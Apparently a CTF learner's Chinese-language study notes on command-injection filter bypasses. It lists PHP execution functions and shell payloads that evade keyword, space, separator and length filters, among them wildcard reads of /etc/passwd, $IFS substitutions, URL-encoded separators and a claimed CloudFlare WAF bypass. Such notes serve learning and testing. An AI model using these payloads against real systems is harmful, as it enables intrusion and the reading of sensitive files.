简单命令执行的学习

参考: https://blog.csdn.net/qq_44657899/article/details/107676580

常见函数

1
2
3
4
5
6
7
8
system()
passthru()
exec()
shell_exec()
proc_open()
popen()
pcntl_exec()
dl()

绕过

关键词过滤

双写绕过

ccatat -> cat

大小写绕过

```cAt``

代替方案

1
2
3
4
5
6
7
8
9
10
11
12
13
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容

转义符

1
2
ca\t /fl\ag
cat fl''ag

变量拼接

1
a=fl;b=ag.php;cat$IFS$a$b

内联执行

1
2
3
cat `ls` 
# 等同于-->
cat flag.php;cat index.php

编码进制绕过

1
2
3
4
[root~]#  echo 'cat' | base64
Y2F0wqAK
[root~]# `echo 'Y2F0wqAK' | base64 -d` 1.txt
hello world

通配符

1
2
3
4
5
6
7
1) 利用正则匹配绕过
[root~]# cat /???/pass*

2) 例如过滤/etc/passwd中的etc,利用未初始化变量,使用$u绕过
[root~]# cat /etc$u/passwd

备注:此方法能绕CloudFlare WAF(出自:https://www.secjuice.com/php-rce-bypass-filters-sanitization-waf/)

空变量

1
2
3
使用$*和$@$x,${x}
ca$*t ./flag
ca$@t ./flag

读文件替代方案

1
2
3
4
5
curl file:///flag
strings /flag
uniq -c/etc/passwd
bash -v /etc/passwd
rev /etc/passwd

dir和ls的替代

1
find -- 列出当前目录下的文件以及子目录所有文件

空格过滤

  • %09(url传递)(cat%09flag.php)
  • ${IFS}
  • $IFS$9
  • <>(cat<>/flag
  • <(cat</flag
  • {cat,flag}

过滤目录分隔符

1
;cd flag_is_here;cat *

过滤 | & ;

替代方案

可以使用%0a代替,%0a其实在某种程度上是最标准的命令链接符号

注入算子 注入字符 URL 编码字符 执行的命令
回车符 enter %0d
分号 ; %3b 两个都(cmd不行 powershell可以)
换行 \n %0a 两个都
后台进程 & %26 两者(通常首先显示第二个输出)
管道 ` ` %7c
&& %26%26 两者(仅当第一次成功时)
或者 ` `
Sub-shell `` %60%60 两者(仅限 Linux)
Sub-shell $() %24%28%29 两者(仅限 Linux)

?>替代最后一个;

在php中可以用 ?> 来代替最后一个 ; 因为php遇到定界符关闭标志时,系统会自动在PHP语句之后加上一个分号。

字符串长度限制

1
2
3
4
5
6
7
8
9
10
11
12
root@kali:~/桌面# echo "flag{hahaha}" > flag.txt
root@kali:~/桌面# touch "ag"
root@kali:~/桌面# touch "fl\\"
root@kali:~/桌面# touch "t \\"
root@kali:~/桌面# touch "ca\\"
root@kali:~/桌面# ls -t
'ca\' 't \' 'fl\' ag flag
root@kali:~/桌面# ls -t >a #将 ls -t 内容写入到a文件中
root@kali:~/桌面# sh a
a: 1: a: not found
flag{hahaha}
a: 6: flag.txt: not found

\ 是指换行
ls -t 将文件按时间排序输出
sh 命令可以从一个文件中读取命令来执行

具体待补充

盲注

还没遇到过,遇到再补充